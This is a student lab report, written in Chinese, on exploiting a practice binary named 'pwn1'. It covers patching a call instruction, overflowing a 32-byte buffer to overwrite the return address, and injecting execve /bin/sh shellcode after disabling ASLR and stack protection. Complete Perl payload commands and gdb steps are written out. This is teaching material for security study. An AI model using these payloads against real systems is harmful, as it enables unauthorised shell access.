EXP 1 pc平台逆向破解--20165103
EXP 1 pc平台逆向破解
1.1 实验内容
本次实验主要围绕缓冲区溢出攻击来改变程序流程,改写数据植入shellcode获取操作系统权限。由此进行三个实验:
- 修改程序机器指令,改变程序执行流程。
- 利用BOF漏洞,构造一个攻击字符串输入,造成缓冲区溢出覆盖原有返回地址,改变程序执行流程。
- 注入自己构造的Shellcode并执行。
1.2 需要掌握的内容
1.2.1 掌握NOP、JNE、JE、JMP、CMP汇编指令的机器码
- NOP:机器码为90,无作用的指令,是no operation的简写。
- JNE:机器码为75,对标志位ZF的判断,ZF=0(不相等)则跳转。
- JE:机器码为74,对标志位ZF的判断,ZF=1(相等)则跳转。
- JMP:机器码为EB,无条件跳转命令
- CMP:机器码为39,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。
- call: 机器码为E8,跳转位置为EIP+call指令后的数
1.2.2 掌握反汇编与十六进制编程器
反汇编指令objdump
objump -d 需反汇编文件名
可对需反汇编的文件进行反汇编操作。- 为方便阅读返汇编代码可利用管道
| more
来查看文件。
十六进制编辑器
- 有多种16进制编辑器,这里用的是比较常用的vim编辑器来进行编辑。
vi 文件名
打开文件。- 首先按
Esc
键来进入到vim的命令模式。(其实一开始不按esc也是可以的) - 输入
:
键,进入末行模式。 - 输入
%!xxd
回车后将文件内容转换为16进制显示。 - 输入
\要查找的内容
回车进行查找。 - 修改需要进入到编辑模式,这里可以选择
i
键转为输入,在当前光标所在字符前面。r
键是替换光标处字符。(本实验推荐用r键,但自己第一次做用的还是i键) - 编辑完后,按
Esc
键返回到命令模式,:
进入末行模式后输入%!xxd -r
将16进制显示转换为原格式。 - 然后在末行模式下输入
wq
存盘退出。
1.3 实验步骤
1.3.1 修改程序机器指令,改变程序执行流程
- 实验思路:通过将程序进行反汇编,得到main函数中call命令的跳转地址和getshell函数的地址。利用16进制编辑器手动修改call命令的跳转地址使程序运行时跳转到getshell函数。
- 输入
objdump -d 20165103_1 | more
反汇编文件 - 找到文件的main函数,call命令的机器码为
e8
,此行命令的的机器码为e8 d7 ff ff ff
。getshell函数的地址是804847d,要调用getshell函数就计算47d-4ba得到的补码为c3ffffff。
- 利用vim修改可执行文件,将main函数中的d7ffffff改为c3ffffff
- 修改后利用再反汇编一次看是否更改正确。
- 运行改后的文件
20165103_1
发现成功跳转,实验成功。
1.3.2 利用BOF漏洞,构造一个攻击字符串输入,造成缓冲区溢出覆盖原有返回地址,改变程序执行流程
- 实验思路:该程序应正常调用foo函数,利用foo函数中存在的缓冲区溢出漏洞,构造字符串,在读入字符串时超出字符串长度的部分会造成缓冲区溢出从而覆盖掉函数的返回地址(用getshell函数的地址覆盖旧的返回地址。)
- 输入
objdump -d pwn1 | more
反汇编得到字符串的长度为32字节 - getshell的函数地址为
0x0804847d
,转换为\x7d\x84\x04\x08
放到32字节字符后边,利用perl语言构造文件 Perl -e 'print "20165103201651032016510320165103\x7d\x84\x04\x08"'> input
构造文件- 查看构造好的文件
xxd input
- 将input文件通过管道输入
(cat input ;cat) | ./20165193_0
(这里20165103_0是pwn1的一个副本) - 运行后完成跳转,实验成功。
1.3.3 注入自己构造的Shellcode并执行
- 实验思路:同样是利用foo函数的缓冲区溢出漏洞,构造字符串,超出字符串长度部分覆盖掉函数的返回地址并替换为字符串中构造的getshell函数地址。(同上个实验的区别是,这次的getshell函数是外部注入的,是在堆栈中的,因此也需要关闭地址随机化和堆栈可执行),执行程序输入shellcode后成功执行shellcode中的代码并取得系统操作权限。
实验准备
设置堆栈可执行
- 首先安装execstack
apt-get install execstack
- 设置堆栈可执行
execstack -s pwn1
- 查看文件的堆栈是否可执行
execstack -q pwn1
关闭地址随机化
- 先查看目前状态
more /proc/sys/kernel/randomize_va_space
显示是2,表示目前是随机化的 - 关闭地址随机化
"0" > /proc/sys/kernel/randomize_va_space
- 再次查看目前状态
more /proc/sys/kernel/randomize_va_space
为0,表示目前地址随机化已关闭
实验开始
- 首先我们需要预构造一个input_shellcode,用来进行调试确定跳转地址:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 将这个文件做为pwn1的输入运行pwn1(敲完一次回车后不要进行其他操作)
(cat input_shellcode;cat) | ./pwn1
- 新打开一个终端2,先查看pwn1的进程号以便用于调试
ps -ef | grep pwn1
可以看到进程号为4981 - 在gdb中使用
attach 4981
进行调试 - 使用
disassemble foo
反编译看到foo的ret地址,设置断点break *0x080484ae
后再输c
命令,回到之前的终端继续运行程序。返回终端2调试,输入info r esp
- 继续跟进查看内容
x/16x 0xffffd24c
- 观察发现跳转地址应为
0xffffd250
- 然后就可以正式构造shellcode
perl -e 'print "A" x 32;print "\x50\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- ok,接下来该试一下了,还是我们之前的老办法:
(cat input_shellcode;cat) | ./pwn1
- 攻击成功,拿到了shell的操作权限啦!
1.3.4 其他尝试
尝试两台kaliLinux中模拟远程攻击
- 攻击机、靶机网络情况
ifconfig -a
- 靶机(自己的实验用的机器,模拟是有漏洞服务,地址不随机,堆栈可执行,运行pwn1文件)
- 经过尝试后,攻击成功!攻击机通过nc将input_shellcode注入到靶机中并获取shell权限。
1.4 实验总结
1.4.1 实验收获
通过本次实验,进一步理解了缓冲区溢出攻击的具体原理和实际的操作中从程序内部函数的跳转到最后的shellcode注入一系列流程。在实验准备过程中,复习掌握了汇编语言和Linux操作的知识,掌握了常见的几种机器指令的机器码和寄存器的功能。在进行实验的过程中,体会到缓冲区溢出攻击的实现条件并了解到从哪些方面对这种攻击进行防范。另一方面,如何绕过现有的防御措施进行攻击也是一个值得去研究的方向。
1.4.2 什么是漏洞?漏洞有什么危害?
我认为漏洞是在这个程序(或系统)在设计之初设计人员有意或无意中留下的安全隐患,一旦这些漏洞被发现或者泄露,就可能会被别有用心的攻击者所利用,注入恶意代码,植入木马程序等。对个人,漏洞被攻击者利用可能会造成个人隐私信息的泄露,个人电脑被监视被操控,也会被勒索从而造成经济损失。对于国家,漏洞被敌国利用则可能泄露国家秘密信息,危害国家安全。同时,也可能会通过漏洞来瘫痪国家重要基础设施,从而造成一系列社会危害。。